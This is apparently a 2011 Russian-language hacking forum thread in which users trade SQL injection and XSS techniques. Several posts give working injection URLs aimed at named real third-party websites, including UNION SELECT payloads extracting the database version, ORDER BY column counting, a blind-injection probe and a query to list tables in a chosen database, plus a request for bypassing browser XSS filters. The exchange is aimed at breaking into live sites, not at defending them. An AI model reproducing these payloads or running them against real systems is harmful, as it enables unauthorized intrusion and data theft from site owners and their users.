09.09.2011, 13:15
|
|
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
С нами:
9846041
Репутация:
1177
|
|
Сообщение от foozzi
какой браузер в *nix системах е фильтрирует урлы? например как IE. потому что при использовании xss форма не вылазит, только ошибку показывает.
либо как обойти эту фильрацию что бы xss осуществить нормально?
https://rdot.org/forum/showthread.php?t=1403
|
|
|
10.09.2011, 14:16
|
|
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
С нами:
8803961
Репутация:
8
|
|
Как правильно составить конструкцию для Blind SQL на этом сайте?
http://www.braz.by/?action=catalog_detail_model_view&data%5Bid_make%5 D=555&data%5Bid_model%5D=1326 OR id=IF(ASCII(SUBSTRING((SELECT USER()),0,1)>=100,'1','0')--+
|
|
|
|
10.09.2011, 14:25
|
|
Новичок
Регистрация: 21.02.2009
Сообщений: 3
С нами:
9061916
Репутация:
0
|
|
Сообщение от FlaktW
Как правильно составить конструкцию для Blind SQL на этом сайте?
http://www.acsavto.ru/mitsubishi/?page_id=379 OR id=IF(ASCII(SUBSTRING((SELECT USER()),0,1)>=100,'1','0')--+
там не блайнд.
http://www.acsavto.ru/mitsubishi/?page_id=379+union+select+1,2,3,4,5,6,7,version(), 9,10,11,12
|
|
|
|
10.09.2011, 14:31
|
|
Новичок
Регистрация: 21.02.2009
Сообщений: 3
С нами:
9061916
Репутация:
0
|
|
Сообщение от FlaktW
Знаю, я сайт перепутал, смотри исправления
да и тут тоже.
http://www.braz.by/?action=catalog_detail_model_view&data[id_make]=555&data[id_model]=-1326+union+select+version(),2,3,4,5,6,7,8,9,10,11, 12--
|
|
|
|
10.09.2011, 14:45
|
|
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
С нами:
8803961
Репутация:
8
|
|
Сообщение от d1v
да и тут тоже.
http://www.braz.by/?action=catalog_detail_model_view&data[id_make]=555&data[id_model]=-1326+union+select+version(),2,3,4,5,6,7,8,9,10,11, 12--
Скажи, как ты подобрал количество полей?
|
|
|
|
10.09.2011, 14:57
|
|
Новичок
Регистрация: 21.02.2009
Сообщений: 3
С нами:
9061916
Репутация:
0
|
|
Сообщение от FlaktW
Скажи, как ты подобрал количество полей?
order+by+11--
order+by+12--
order+by+13--
Сообщение от None
http://www.camholland.nl[antigoogle]/info.aspx?p=kinkyporno&referer=kinky_leftbar&user_ id=7903
Тут скулья?
нет
|
|
|
|
10.09.2011, 16:55
|
|
Новичок
Регистрация: 22.08.2011
Сообщений: 0
С нами:
7749686
Репутация:
0
|
|
Подскажите как вывести таблицы из определенной БД в SQL inj
например есть БД:
db1,db2,db3,db4 и т.д. Мне нужно вывести таблицы только из db3
Когда то видел этот запрос но сейчас не могу найти
|
|
|
|
10.09.2011, 16:58
|
|
Новичок
Регистрация: 15.05.2010
Сообщений: 0
С нами:
8417113
Репутация:
0
|
|
Сообщение от Kudos
Подскажите как вывести таблицы из определенной БД в SQL inj
например есть БД:
db1,db2,db3,db4 и т.д. Мне нужно вывести таблицы только из db3
Когда то видел этот запрос но сейчас не могу найти
Код:
SELECT TABLE_NAME FROM `TABLES` WHERE TABLE_SCHEMA = 'db3'
|
|
|
|
10.09.2011, 18:39
|
|
Постоянный
Регистрация: 24.08.2007
Сообщений: 474
С нами:
9849598
Репутация:
126
|
|
|
|
|
|
10.09.2011, 21:40
|
|
Новичок
Регистрация: 04.11.2004
Сообщений: 5
С нами:
11322426
Репутация:
0
|
|
heks, нужно фильтровать данные, которые пользователь может передать скрипту.
|
|
|
|
|
 |
|
|
Здесь присутствуют: 4 (пользователей: 0 , гостей: 4)
|
|
|
|
Похожие темы
Комбинированный вид
